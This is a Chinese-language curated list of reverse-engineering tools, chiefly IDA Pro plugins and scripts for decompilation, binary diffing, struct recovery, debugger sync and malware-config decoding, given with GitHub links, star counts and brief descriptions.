- [(18) Loader&&Processor](#058bb9893323f337ad1773725d61f689)
- [(2) Xbox](#51a2c42c6d339be24badf52acb995455)
- [与其他工具交互](#99e3b02da53f1dbe59e0e277ef894687)
- [(2) Radare2](#e1cc732d1388084530b066c26e24887b)
- [(1) 未分类](#5923db547e1f04f708272543021701d2)
- [(5) IDA](#d832a81018c188bf585fcefa3ae23062)
- [(1) DBI](#60e86981b2c98f727587e7de927e0519)
- [(1) 外观&&主题](#cccbd06c6b9b03152d07a4072152ae27)
- [(2) Ghidra](#2ae406afda6602c8f02d73678b2ff040)
- [文章&&视频](#273df546f1145fbed92bb554a327b87a)
- [(65) 新添加的](#ce49901b4914f3688ef54585c8f9df1a)
- [x64dbg](#b1a6c053e88e86ce01bbd78c54c63a7c)
- [插件&&脚本](#b4a856db286f9f29b5a32d477d6b3f3a)
- [(62) 新添加的](#da5688c7823802e734c39b539aa39df7)
- [(1) x64dbg](#353ea40f2346191ecb828210a685f9db)
- [文章&&视频](#22894d6f2255dc43d82dd46bdbc20ba1)
- [OllyDbg](#37e37e665eac00de3f55a13dcfd47320)
- [插件&&脚本](#7834e399e48e6c64255a1a0fdb6b88f5)
- [(12) 新添加的](#92c44f98ff5ad8f8b0f5e10367262f9b)
- [文章&&视频](#8dd3e63c4e1811973288ea8f1581dfdb)
- [WinDBG](#0a506e6fb2252626add375f884c9095e)
- [插件&&脚本](#37eea2c2e8885eb435987ccf3f467122)
- [(64) 新添加的](#2ef75ae7852daa9862b2217dca252cc3)
- [(9) 文章&&视频](#6d8bac8bfb5cda00c7e3bd38d64cbce3)
- [Cuckoo](#0ae4ddb81ff126789a7e08b0768bd693)
- [工具](#5830a8f8fb3af1a336053d84dd7330a1)
- [(35) 新添加的](#f2b5c44c2107db2cec6c60477c6aa1d0)
- [(15) 文章&&视频](#ec0a441206d9a2fe1625dce0a679d466)
- [Radare2](#86cb7d8f548ca76534b5828cb5b0abce)
- [插件&&脚本](#0e08f9478ed8388319f267e75e2ef1eb)
- [(33) 新添加的](#6922457cb0d4b6b87a34caf39aa31dfe)
- [(1) Radare2](#ec3f0b5c2cf36004c4dd3d162b94b91a)
- [与其他工具交互](#1a6652a1cb16324ab56589cb1333576f)
- [(4) 未分类](#dfe53924d678f9225fc5ece9413b890f)
- [(3) IDA](#1cfe869820ecc97204a350a3361b31a7)
- [(5) GUI](#f7778a5392b90b03a3e23ef94a0cc3c6)
- [(168) 文章&&视频](#95fdc7692c4eda74f7ca590bb3f12982)
- [BinaryNinja](#afb7259851922935643857c543c4b0c2)
- [插件&&脚本](#3034389f5aaa9d7b0be6fa7322340aab)
- [(38) 新添加的](#a750ac8156aa0ff337a8639649415ef1)
- [与其他工具交互](#bba1171ac550958141dfcb0027716f41)
- [(2) 未分类](#c2f94ad158b96c928ee51461823aa953)
- [(3) IDA](#713fb1c0075947956651cc21a833e074)
- [(7) 文章&&视频](#2d24dd6f0c01a084e88580ad22ce5b3c)
- [DBI](#7ab3a7005d6aa699562b3a0a0c6f2cff)
- [DynamoRIO](#c8cdb0e30f24e9b7394fcd5681f2e419)
- [工具](#6c4841dd91cb173093ea2c8d0b557e71)
- [(7) 新添加的](#ff0abe26a37095f6575195950e0b7f94)
- [(2) DynamoRIO](#3a577a5b4730a1b5b3b325269509bb0a)
- [(3) 与其他工具交互](#928642a55eff34b6b52622c6862addd2)
- [(16) 文章&&视频](#9479ce9f475e4b9faa4497924a2e40fc)
- [IntelPin](#7b8a493ca344f41887792fcc008573e7)
- [工具](#fe5a6d7f16890542c9e60857706edfde)
- [(15) 新添加的](#78a2edf9aa41eb321436cb150ea70a54)
- [与其他工具交互](#e6a829abd8bbc5ad2e5885396e3eec04)
- [(8) 未分类](#e129288dfadc2ab0890667109f93a76d)
- [文章&&视频](#226190bea6ceb98ee5e2b939a6515fac)
- [Frida](#f24f1235fd45a1aa8d280eff1f03af7e)
- [工具](#a5336a0f9e8e55111bda45c8d74924c1)
- [(97) 新添加的](#54836a155de0c15b56f43634cd9cfecf)
- [与其他工具交互](#74fa0c52c6104fd5656c93c08fd1ba86)
- [(1) 未分类](#00a86c65a84e58397ee54e85ed57feaf)
- [(3) IDA](#d628ec92c9eea0c4b016831e1f6852b3)
- [(2) BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8)
- [(2) Radare2](#ac053c4da818ca587d57711d2ff66278)
- [(1) Frida](#6d3c24e43835420063f9ca50ba805f15)
- [(25) 文章&&视频](#a1a7e3dd7091b47384c75dba8f279caf)
- [其他](#5a9974bfcf7cdf9b05fe7a7dc5272213)
- [模拟器&&虚拟机](#747ddaa20f643da415284bfba9cda3a2)
- [QEMU](#796b64906655228d8a1ff8c0dd390451)
- [工具](#296c7f25266b25e5ee1107dd76e40dd2)
- [(7) 新添加的](#82072558d99a6cf23d4014c0ae5b420a)
- [文章&&视频](#5df30a166c2473fdadf5a578d1a70e32)
- [其他](#a13effff89633708c814ae9410da835a)
- [Android](#11a59671b467a8cdbdd4ea9d5e5d9b51)
- [工具](#2110ded2aa5637fa933cc674bc33bf21)
- [(182) 新添加的](#883a4e0dd67c6482d28a7a14228cd942)
- [(4) HotFix](#fa49f65b8d3c71b36c6924ce51c2ca0c)
- [(1) 打包](#ec395c8f974c75963d88a9829af12a90)
- [(2) 收集](#767078c52aca04c452c095f49ad73956)
- [(1) 各类App](#17408290519e1ca7745233afea62c43c)
- [(30) Xposed](#7f353b27e45b5de6b0e6ac472b02cbf1)
- [(19) 加壳&&脱壳](#50f63dce18786069de2ec637630ff167)
- [(12) HOOK](#596b6cf8fd36bc4c819335f12850a915)
- [(9) Emulator&&模拟器](#5afa336e229e4c38ad378644c484734a)
- [(6) IDA](#0a668d220ce74e11ed2738c4e3ae3c9e)
- [(11) Debug&&调试](#bb9f8e636857320abf0502c19af6c763)
- [(34) Malware&&恶意代码](#f975a85510f714ec3cc2551e868e75b8)
- [(5) Obfuscate&&混淆](#1d83ca6d8b02950be10ac8e4b8a2d976)
- [(15) ReverseEngineering](#6d2b758b3269bac7d69a2d2c8b45194c)
- [(42) 新添加的1](#63fd2c592145914e99f837cecdc5a67c)
- [(2) 文章&&视频](#f0493b259e1169b5ddd269b13cfd30e6)
- [Apple&&iOS&&iXxx](#069664f347ae73b1370c4f5a2ec9da9f)
- [工具](#58cd9084afafd3cd293564c1d615dd7f)
- [(204) 新添加的](#d0108e91e6863289f89084ff09df39d0)
- [(7) XCode](#7037d96c1017978276cb920f65be2297)
- [文章&&视频](#c97bbe32bbd26c72ceccb43400e15bf1)
- [Windows](#2f81493de610f9b796656b269380b2de)
- [工具](#b478e9a9a324c963da11437d18f04998)
- [(213) 其他](#1afda3039b4ab9a3a1f60b179ccb3e76)
- [(10) 事件日志&&事件追踪&&ETW](#0af4bd8ca0fd27c9381a2d1fa8b71a1f)
- [Sysmon](#d48f038b58dc921660be221b4e302f70)
- [(5) WSL](#8ed6f25b321f7b19591ce2908b30cc88)
- [(10) .NET](#d90b60dc79837e06d8ba2a7ee1f109d3)
- [新添加的](#f9fad1d4d1f0e871a174f67f63f319d8)
- [(5) Environment&&环境&&配置](#6d2fe834b7662ecdd48c17163f732daf)
- [进程注入](#8bfd27b42bb75956984994b3419fb582)
- [(1) DLL注入](#b0d50ee42d53b1f88b32988d34787137)
- [代码注入](#1c6069610d73eb4246b58d78c64c9f44)
- [内存模块](#7c1541a69da4c025a89b0571d8ce73d2)
- [(6) Shellcode](#16001cb2fae35b722deaa3b9a8e5f4d5)
- [(6) VT&&虚拟化&&Hypbervisor](#19cfd3ea4bd01d440efb9d4dd97a64d0)
- [(8) 内核&&驱动](#c3cda3278305549f4c21df25cbf638a4)
- [(3) 注册表](#920b69cea1fc334bbc21a957dd0d9f6f)
- [(4) 系统调用](#d295182c016bd9c2d5479fe0e98a75df)
- [文章](#3939f5e83ca091402022cb58e0349ab8)
- [Linux](#dc664c913dc63ec6b98b47fcced4fdf0)
- [(101) 工具](#89e277bca2740d737c1aeac3192f374c)
- [文章](#f6d78e82c3e5f67d13d9f00c602c92f0)
- [Hook](#3f1fde99538be4662dca6747a365640b)
- [(109) 工具](#cfe974d48bbb90a930bf667c173616c7)
- [Monitor&&监控&&Trace&&追踪](#70e64e3147675c9bcd48d4f475396e7f)
- [(29) 工具](#cd76e644d8ddbd385939bb17fceab205)
- [Malware&&恶意代码](#09fa851959ff48f5667a2099c861eab8)
- [(270) 工具](#e781a59e4f4daab058732cf66f77bfb9)
- [Game&&游戏](#28aa8187f8a1e38ca5a55aa31a5ee0c3)
- [(58) 工具](#07f0c2cbf63c1d7de6f21fa43443ede3)
- [工具-其他](#d3690e0b19c784e104273fe4d64b2362)
- [(284) 新添加的](#1d9dec1320a5d774dc8e0e7604edfcd3)
- [(14) angr](#4fe330ae3e5ce0b39735b1bfea4528af)
- [(116) Debug&&调试](#324874bb7c3ead94eae6f1fa1af4fb68)
- [新添加的11](#9d0f15756c4435d1ea79c21fcfda101f)
- [BAP](#9f8d3f2c9e46fbe6c25c22285c8226df)
- [(3) BinNavi](#2683839f170250822916534f1db22eeb)
- [(55) Decompiler&&反编译器](#0971f295b0f67dc31b7aa45caf3f588f)
- [(30) Disassemble&&反汇编](#2df6d3d07e56381e1101097d013746a0)
- [(19) GDB](#975d9f08e2771fccc112d9670eae1ed1)
- [(4) Captcha&&验证码](#9526d018b9815156cb001ceee36f6b1d)
- [(3) 其他](#bc2b78af683e7ba983205592de8c3a7a)
- [文章](#dd1e42d17eefb275a804584a848b82a6)
- [新添加的](#48d6a0efe043af4bed4cbba665a4502c)
- [Rootkit&&Bootkit](#5fdcfc70dd87360c2dddcae008076547)
- [(67) 工具](#b8d6f237c04188a10f511cd8988de28a)
- [硬件](#069468057aac03c102abdbeb7a5decf6)
- [固件](#3574d46dd09566f898b407cebe9df29b)
- [(44) Firmware&&固件](#649d2aece91551af8b48d29f52943804)
- [(3) Intel](#fff92e7d304e2c927ef3530f4d327456)
- [Crypto&&加密&&算法](#948dbc64bc0ff4a03296988574f5238c)
- [(117) 工具](#a6b0a9b9184fd78c8b87ccfe48a8e544)
- [TODO](#35f8efcff18d0449029e9d3157ac0899)
# <a id="35f8efcff18d0449029e9d3157ac0899"></a>TODO
- 对工具进行更细致的分类
- 为工具添加详细的中文描述，包括其内部实现原理和使用方式
- 添加非Github repo
- 补充文章
- 修改已添加文章的描述
# <a id="08e59e476824a221f6e4a69c0bba7d63"></a>IDA
***
## <a id="f11ab1ff46aa300cc3e86528b8a98ad7"></a>插件&&脚本
- 以Github开源工具为主
### <a id="c39dbae63d6a3302c4df8073b4d1cdc8"></a>新添加的
### <a id="c39a6d8598dde6abfeef43faf931beb5"></a>未分类
- [**1044**星][13d] [Py] [fireeye/flare-ida](https://github.com/fireeye/flare-ida) 多工具
- [StackStrings](https://github.com/fireeye/flare-ida/blob/master/plugins/stackstrings_plugin.py) 自动恢复手动构造的字符串
- [Struct Typer](https://github.com/fireeye/flare-ida/blob/master/plugins/struct_typer_plugin.py) implements the struct typing described [here](https://www.mandiant.com/blog/applying-function-types-structure-fields-ida/)
- [ApplyCalleeType](https://github.com/fireeye/flare-ida/blob/master/python/flare/apply_callee_type.py) specify or choose a function type for indirect calls as described [here](https://www.fireeye.com/blog/threat-research/2015/04/flare_ida_pro_script.html)
- [argtracker](https://github.com/fireeye/flare-ida/blob/master/python/flare/argtracker.py) 识别函数使用的静态参数
- [idb2pat](https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py) FLIRT签名生成
- [objc2_analyzer](https://github.com/fireeye/flare-ida/blob/master/python/flare/objc2_analyzer.py) 在目标Mach-O可执行文件的与Objective-C运行时相关的部分中定义的选择器引用及其实现之间创建交叉引用
- [MSDN Annotations](https://github.com/fireeye/flare-ida/tree/master/python/flare/IDB_MSDN_Annotator) 从XML文件中提取MSDN信息，添加到IDB数据库中
- [ironstrings](https://github.com/fireeye/flare-ida/tree/master/python/flare/ironstrings) 使用代码模拟执行（flare-emu）, 恢复构造的字符串
- [Shellcode Hashes](https://github.com/fireeye/flare-ida/tree/master/shellcode_hashes) 生成Hash数据库
- [**735**星][6m] [Py] [devttys0/ida](https://github.com/devttys0/ida) IDA插件/脚本/模块收集
- [wpsearch](https://github.com/devttys0/ida/blob/master/scripts/wpsearch.py) 查找在MIPS WPS checksum实现中常见的立即数
- [md5hash](https://github.com/devttys0/ida/tree/master/modules/md5hash) 纯Python版的MD5 hash实现（IDA的hashlib有问题）
- [alleycat](https://github.com/devttys0/ida/tree/master/plugins/alleycat) 查找向指定的函数内代码块的路径、查找两个或多个函数之间的路径、生成交互式调用图、可编程
- [codatify](https://github.com/devttys0/ida/tree/master/plugins/codatify) 定义IDA自动化分析时miss的ASCII字符串、函数、代码。将data段的所有未定义字节转换为DWORD（于是IDA可识别函数和跳转表指针）
- [fluorescence](https://github.com/devttys0/ida/tree/master/plugins/fluorescence) 高亮函数调用指令
- [leafblower](https://github.com/devttys0/ida/tree/master/plugins/leafblower) 识别常用的POSIX函数：printf, sprintf, memcmp, strcpy等
- [localxrefs](https://github.com/devttys0/ida/tree/master/plugins/localxrefs) 在当前函数内部查找所有对任意选择文本的引用
- [mipslocalvars](https://github.com/devttys0/ida/tree/master/plugins/mipslocalvars) 对栈上只用于存储寄存器的变量进行命名，简化栈数据分析（MISP）
- [mipsrop](https://github.com/devttys0/ida/tree/master/plugins/mipsrop) 在MIPS可执行代码中搜寻ROP。查找常见的ROP
- [rizzo](https://github.com/devttys0/ida/tree/master/plugins/rizzo) 对2个或多个IDB之间的函数进行识别和重命名，基于：函数签名、对唯一字符串/常量的引用、模糊签名、调用图
- [**315**星][2m] [C] [ohjeongwook/darungrim](https://github.com/ohjeongwook/darungrim) 软件补丁分析工具
- [IDA插件](https://github.com/ohjeongwook/darungrim/tree/master/Src/IDAPlugin)
- [DGEngine](https://github.com/ohjeongwook/darungrim/tree/master/Src/DGEngine)
- [**274**星][3m] [Py] [jpcertcc/aa-tools](https://github.com/jpcertcc/aa-tools) 多脚本
- [apt17scan.py](https://github.com/jpcertcc/aa-tools/blob/master/apt17scan.py) Volatility插件, 检测APT17相关的恶意代码并提取配置
- [emdivi_postdata_decoder](https://github.com/jpcertcc/aa-tools/blob/master/emdivi_postdata_decoder.py) 解码Emdivi post的数据
- [emdivi_string_decryptor](https://github.com/jpcertcc/aa-tools/blob/master/emdivi_string_decryptor.py) IDAPython脚本, 解密Emdivi内的字符串
- [citadel_decryptor](https://github.com/jpcertcc/aa-tools/tree/master/citadel_decryptor) Data decryption tool for Citadel
- [adwind_string_decoder](https://github.com/jpcertcc/aa-tools/blob/master/adwind_string_decoder.py) Python script for decoding strings inside Adwind
- [redleavesscan](https://github.com/jpcertcc/aa-tools/blob/master/redleavesscan.py) Volatility plugin for detecting RedLeaves and extracting its config
- [datper_splunk](https://github.com/jpcertcc/aa-tools/blob/master/datper_splunk.py) Python script for detects Datper communication and adds result field to Splunk index
- [datper_elk](https://github.com/jpcertcc/aa-tools/blob/master/datper_elk.py) Python script for detects Datper communication and adds result field to Elasticsearch index
- [tscookie_decode](https://github.com/jpcertcc/aa-tools/blob/master/tscookie_decode.py) Python script for decrypting and parsing TSCookie configure data
- [wellmess_cookie_decode](https://github.com/jpcertcc/aa-tools/blob/master/wellmess_cookie_decode.py) Python script for decoding WellMess's cookie data (support Python2)
- [cobaltstrikescan](https://github.com/jpcertcc/aa-tools/blob/master/cobaltstrikescan.py) Volatility plugin for detecting Cobalt Strike Beacon and extracting its config
- [tscookie_data_decode](https://github.com/jpcertcc/aa-tools/blob/master/tscookie_data_decode.py) Python script for decrypting and parsing TSCookie configure data
### <a id="fb4f0c061a72fc38656691746e7c45ce"></a>结构体&&类的检测&&创建&&恢复
#### <a id="fa5ede9a4f58d4efd98585d3158be4fb"></a>未分类
- [**927**星][12d] [OCaml] [airbus-seclab/bincat](https://github.com/airbus-seclab/bincat) 二进制代码静态分析工具。值分析（寄存器、内存）、污点分析、类型重建和传播（propagation）、前向/后向分析
- 重复区段: [IDA->插件->污点分析](#34ac84853604a7741c61670f2a075d20) |
- [**656**星][16d] [Py] [igogo-x86/hexrayspytools](https://github.com/igogo-x86/hexrayspytools) 结构体和类重建插件
#### <a id="4900b1626f10791748b20630af6d6123"></a>C++类&&虚表
- [**604**星][3m] [Py] [0xgalz/virtuailor](https://github.com/0xgalz/virtuailor) 利用IDA调试获取的信息，自动创建C++的虚表
- 重复区段: [IDA->插件->调试->调试数据](#b31acf6c84a9506066d497af4e702bf5) |
<details>
<summary>查看详情</summary>
## 静态部分:
- 检测非直接调用
- 利用条件断点, Hook非直接调用的值赋值过程
## 动态 部分
- 创建虚表结构
- 重命名函数和虚表地址
- 给反汇编非直接调用添加结构偏移
- 给非直接调用到虚表之间添加交叉引用
## 使用
- File -> Script File -> Main.py(设置断点) -> IDA调试器执行
</details>
### <a id="a7dac37cd93b8bb42c7d6aedccb751b3"></a>收集
- [**1749**星][2m] [onethawt/idaplugins-list](https://github.com/onethawt/idaplugins-list) IDA插件收集
- [**358**星][9m] [fr0gger/awesome-ida-x64-olly-plugin](https://github.com/fr0gger/awesome-ida-x64-olly-plugin) IDA x64DBG OllyDBG 插件收集
- 重复区段: [x64dbg->插件->新添加的](#da5688c7823802e734c39b539aa39df7) |
### <a id="fabf03b862a776bbd8bcc4574943a65a"></a>外观&&主题
- [**720**星][6m] [Py] [zyantific/idaskins](https://github.com/zyantific/idaskins) 皮肤插件
### <a id="a8f5db3ab4bc7bc3d6ca772b3b9b0b1e"></a>固件&&嵌入式设备
- [**5165**星][1m] [Py] [refirmlabs/binwalk](https://github.com/ReFirmLabs/binwalk) 固件分析工具（命令行+IDA插件）
- [IDA插件](https://github.com/ReFirmLabs/binwalk/tree/master/src/scripts)
- [binwalk](https://github.com/ReFirmLabs/binwalk/tree/master/src/binwalk)
- [**490**星][4m] [Py] [maddiestone/idapythonembeddedtoolkit](https://github.com/maddiestone/idapythonembeddedtoolkit) 自动分析嵌入式设备的固件
### <a id="02088f4884be6c9effb0f1e9a3795e58"></a>签名(FLIRT等)&&比较(Diff)&&匹配
#### <a id="cf04b98ea9da0056c055e2050da980c1"></a>未分类
- [**418**星][17d] [C] [mcgill-dmas/kam1n0-community](https://github.com/McGill-DMaS/Kam1n0-Community) 汇编代码管理与分析平台(独立工具+IDA插件)
- 重复区段: [IDA->插件->作为辅助](#83de90385d03ac8ef27360bfcdc1ab48) |
- [IDA插件](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0-clients/ida-plugin)
- [kam1n0](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0)
#### <a id="19360afa4287236abe47166154bc1ece"></a>FLIRT签名
##### <a id="1c9d8dfef3c651480661f98418c49197"></a>FLIRT签名收集
- [**599**星][26d] [Max] [maktm/flirtdb](https://github.com/Maktm/FLIRTDB) A community driven collection of IDA FLIRT signature files
- [**307**星][4m] [push0ebp/sig-database](https://github.com/push0ebp/sig-database) IDA FLIRT Signature Database
##### <a id="a9a63d23d32c6c789ca4d2e146c9b6d0"></a>FLIRT签名生成
#### <a id="161e5a3437461dc8959cc923e6a18ef7"></a>Diff&&Match工具
- [**1542**星][1m] [Py] [joxeankoret/diaphora](https://github.com/joxeankoret/diaphora) program diffing
- [**358**星][12d] [Py] [checkpointsw/karta](https://github.com/checkpointsw/karta) source code assisted fast binary matching plugin for IDA
- [**330**星][12m] [Py] [joxeankoret/pigaios](https://github.com/joxeankoret/pigaios) A tool for matching and diffing source codes directly against binaries.
#### <a id="46c9dfc585ae59fe5e6f7ddf542fb31a"></a>Yara
- [**431**星][1m] [Py] [polymorf/findcrypt-yara](https://github.com/polymorf/findcrypt-yara) 使用Yara规则查找加密常量
- 重复区段: [IDA->插件->加密解密](#06d2caabef97cf663bd29af2b1fe270c) |
### <a id="5e91b280aab7f242cbc37d64ddbff82f"></a>IDB操作
- [**316**星][6m] [Py] [williballenthin/python-idb](https://github.com/williballenthin/python-idb) idb 文件解析和分析工具
### <a id="206ca17fc949b8e0ae62731d9bb244cb"></a>协作逆向&&多人操作相同IDB文件
- [**505**星][11m] [Py] [idarlingteam/idarling](https://github.com/IDArlingTeam/IDArling) 多人协作插件
- [**258**星][1y] [C++] [dga-mi-ssi/yaco](https://github.com/dga-mi-ssi/yaco) 利用Git版本控制，同步多人对相同二进制文件的修改
### <a id="f7d311685152ac005cfce5753c006e4b"></a>与调试器同步&&通信&&交互
- [**457**星][8d] [C] [bootleg/ret-sync](https://github.com/bootleg/ret-sync) 在反汇编工具和调试器之间同步调试会话
- 重复区段: [x64dbg->插件->新添加的](#da5688c7823802e734c39b539aa39df7) |
- [GDB插件](https://github.com/bootleg/ret-sync/tree/master/ext_gdb)
- [Ghidra插件](https://github.com/bootleg/ret-sync/tree/master/ext_ghidra)
- [IDA插件](https://github.com/bootleg/ret-sync/tree/master/ext_ida)
- [LLDB](https://github.com/bootleg/ret-sync/tree/master/ext_lldb)
- [OD](https://github.com/bootleg/ret-sync/tree/master/ext_olly1)
- [OD2](https://github.com/bootleg/ret-sync/tree/master/ext_olly2)
- [WinDgb](https://github.com/bootleg/ret-sync/tree/master/ext_windbg/sync)
- [x64dbg](https://github.com/bootleg/ret-sync/tree/master/ext_x64dbg)
- [**290**星][10m] [C] [a1ext/labeless](https://github.com/a1ext/labeless) 在IDA和调试器之间无缝同步Label/注释等
- [IDA插件](https://github.com/a1ext/labeless/tree/master/labeless_ida)
- [OD](https://github.com/a1ext/labeless/tree/master/labeless_olly)
- [OD2](https://github.com/a1ext/labeless/tree/master/labeless_olly2)
- [x64dbg](https://github.com/a1ext/labeless/tree/master/labeless_x64dbg)
### <a id="6fb7e41786c49cc3811305c520dfe9a1"></a>导入导出&与其他工具交互
#### <a id="8ad723b704b044e664970b11ce103c09"></a>未分类
#### <a id="c7066b0c388cd447e980bf0eb38f39ab"></a>Ghidra
- [**296**星][3m] [Py] [cisco-talos/ghida](https://github.com/cisco-talos/ghida) 在IDA中集成Ghidra反编译器
- 重复区段: [Ghidra->插件->与其他工具交互->IDA](#d832a81018c188bf585fcefa3ae23062) |
- [**236**星][8m] [Py] [daenerys-sre/source](https://github.com/daenerys-sre/source) 使IDA和Ghidra脚本通用, 无需修改
- 重复区段: [Ghidra->插件->与其他工具交互->IDA](#d832a81018c188bf585fcefa3ae23062) |
#### <a id="11139e7d6db4c1cef22718868f29fe12"></a>BinNavi
- [**378**星][1m] [C++] [google/binexport](https://github.com/google/binexport) 将反汇编以Protocol Buffer的形式导出为PostgreSQL数据库, 导入到BinNavi中使用
- 重复区段: [工具-其他->BinNavi](#2683839f170250822916534f1db22eeb) |
#### <a id="d1ff64bee76f6749aef6100d72bfbe3a"></a>BinaryNinja
#### <a id="21ed198ae5a974877d7a635a4b039ae3"></a>Radare2
#### <a id="a1cf7f7f849b4ca2101bd31449c2a0fd"></a>Frida
#### <a id="dd0332da5a1482df414658250e6357f8"></a>IntelPin
### <a id="004c199e1dbf71769fbafcd8e58d1ead"></a>针对特定分析目标
#### <a id="5578c56ca09a5804433524047840980e"></a>未分类
#### <a id="cb59d84840e41330a7b5e275c0b81725"></a>Loader&Processor
- [**204**星][1y] [Py] [fireeye/idawasm](https://github.com/fireeye/idawasm) WebAssembly的加载器和解析器
#### <a id="1b17ac638aaa09852966306760fda46b"></a>GoLang
- [**367**星][9m] [Py] [sibears/idagolanghelper](https://github.com/sibears/idagolanghelper) 解析Go语言编译的二进制文件中的GoLang类型信息
- [**292**星][1m] [Py] [strazzere/golang_loader_assist](https://github.com/strazzere/golang_loader_assist) 辅助Go逆向
#### <a id="4c158ccc5aee04383755851844fdd137"></a>Windows驱动
- [**303**星][1y] [Py] [fsecurelabs/win_driver_plugin](https://github.com/FSecureLABS/win_driver_plugin) A tool to help when dealing with Windows IOCTL codes or reversing Windows drivers.
- [**218**星][1y] [Py] [nccgroup/driverbuddy](https://github.com/nccgroup/driverbuddy) 辅助逆向Windows内核驱动
#### <a id="315b1b8b41c67ae91b841fce1d4190b5"></a>PS3&&PS4
#### <a id="f5e51763bb09d8fd47ee575a98bedca1"></a>PDB
#### <a id="7d0681efba2cf3adaba2780330cd923a"></a>Flash&&SWF
#### <a id="841d605300beba45c3be131988514a03"></a>特定样本家族
#### <a id="ad44205b2d943cfa2fa805b2643f4595"></a>CTF
### <a id="ad68872e14f70db53e8d9519213ec039"></a>IDAPython本身
#### <a id="2299bc16945c25652e5ad4d48eae8eca"></a>未分类
- [**711**星][25d] [Py] [idapython/src](https://github.com/idapython/src) IDAPython源码
- [**368**星][2m] [Py] [tmr232/sark](https://github.com/tmr232/sark) IDAPython的高级抽象
#### <a id="c42137cf98d6042372b1fd43c3635135"></a>cheatsheets
- [**233**星][7d] [Py] [inforion/idapython-cheatsheet](https://github.com/inforion/idapython-cheatsheet) Scripts and cheatsheets for IDAPython
### <a id="846eebe73bef533041d74fc711cafb43"></a>指令参考&文档
- [**496**星][12m] [PLpgSQL] [nologic/idaref](https://github.com/nologic/idaref) 指令参考插件.
- [**444**星][4m] [C++] [alexhude/friend](https://github.com/alexhude/friend) 反汇编显示增强, 文档增强插件
- 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |
### <a id="c08ebe5b7eec9fc96f8eff36d1d5cc7d"></a>辅助脚本编写
#### <a id="45fd7cfce682c7c25b4f3fbc4c461ba2"></a>未分类
- [**279**星][25d] [Py] [fireeye/flare-emu](https://github.com/fireeye/flare-emu) 结合Unicorn引擎, 简化模拟脚本的编写
- 重复区段: [IDA->插件->模拟器集成](#b38dab81610be087bd5bc7785269b8cc) |
#### <a id="1a56a5b726aaa55ec5b7a5087d6c8968"></a>Qt
#### <a id="1721c09501e4defed9eaa78b8d708361"></a>控制台&&窗口界面
- [**267**星][17d] [Py] [eset/ipyida](https://github.com/eset/ipyida) 集成IPython控制台
#### <a id="227fbff77e3a13569ef7b007344d5d2e"></a>插件模板
#### <a id="8b19bb8cf9a5bc9e6ab045f3b4fabf6a"></a>其他语言
### <a id="dc35a2b02780cdaa8effcae2b6ce623e"></a>古老的
### <a id="e3e7030efc3b4de3b5b8750b7d93e6dd"></a>调试&&动态运行&动态数据
#### <a id="2944dda5289f494e5e636089db0d6a6a"></a>未分类
- [**391**星][12m] [C++] [cseagle/sk3wldbg](https://github.com/cseagle/sk3wldbg) 用Unicorn引擎做后端的调试插件
- 重复区段: [IDA->插件->模拟器集成](#b38dab81610be087bd5bc7785269b8cc) |
#### <a id="0fbd352f703b507853c610a664f024d1"></a>DBI数据
- [**933**星][12m] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况，在IDA/Binja中映射、浏览、查看
- 重复区段: [DBI->IntelPin->工具->与其他工具交互->未分类](#e129288dfadc2ab0890667109f93a76d) |[DBI->Frida->工具->与其他工具交互->IDA](#d628ec92c9eea0c4b016831e1f6852b3) |[DBI->Frida->工具->与其他工具交互->BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) |
- [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息
- [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息
- [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja
#### <a id="b31acf6c84a9506066d497af4e702bf5"></a>调试数据
- [**604**星][3m] [Py] [0xgalz/virtuailor](https://github.com/0xgalz/virtuailor) 利用IDA调试获取的信息，自动创建C++的虚表
- 重复区段: [IDA->插件->结构体->C++类](#4900b1626f10791748b20630af6d6123) |
<details>
<summary>查看详情</summary>
## 静态部分:
- 检测非直接调用
- 利用条件断点, Hook非直接调用的值赋值过程
## 动态 部分
- 创建虚表结构
- 重命名函数和虚表地址
- 给反汇编非直接调用添加结构偏移
- 给非直接调用到虚表之间添加交叉引用
## 使用
- File -> Script File -> Main.py(设置断点) -> IDA调试器执行
</details>
- [**385**星][4m] [Py] [ynvb/die](https://github.com/ynvb/die) 使用IDA调试器收集动态运行信息, 辅助静态分析
### <a id="d2166f4dac4eab7fadfe0fd06467fbc9"></a>反编译器&&AST
- [**1668**星][7m] [C++] [yegord/snowman](https://github.com/yegord/snowman) Snowman反编译器，支持x86, AMD64, ARM。有独立的GUI工具、命令行工具、IDA/Radare2/x64dbg插件，也可以作为库使用
- 重复区段: [x64dbg->插件->新添加的](#da5688c7823802e734c39b539aa39df7) |
- [IDA插件](https://github.com/yegord/snowman/tree/master/src/ida-plugin)
- [snowman](https://github.com/yegord/snowman/tree/master/src/snowman) QT界面
- [nocode](https://github.com/yegord/snowman/tree/master/src/nocode) 命令行工具
- [nc](https://github.com/yegord/snowman/tree/master/src/nc) 核心代码，可作为库使用
- [**1321**星][1y] [C++] [rehints/hexrayscodexplorer](https://github.com/rehints/hexrayscodexplorer) 反编译插件, 多功能
- 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |
<details>
<summary>查看详情</summary>
- 自动类型重建
- 虚表识别/导航(反编译窗口)
- C-tree可视化与导出
- 对象浏览
</details>
- [**406**星][3m] [C++] [avast/retdec-idaplugin](https://github.com/avast/retdec-idaplugin) retdec 的 IDA 插件
- [**229**星][6m] [Py] [patois/dsync](https://github.com/patois/dsync) 反汇编和反编译窗口同步插件
- 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |
### <a id="7199e8787c0de5b428f50263f965fda7"></a>反混淆
- [**1360**星][2m] [Py] [fireeye/flare-floss](https://github.com/fireeye/flare-floss) 自动从恶意代码中提取反混淆后的字符串
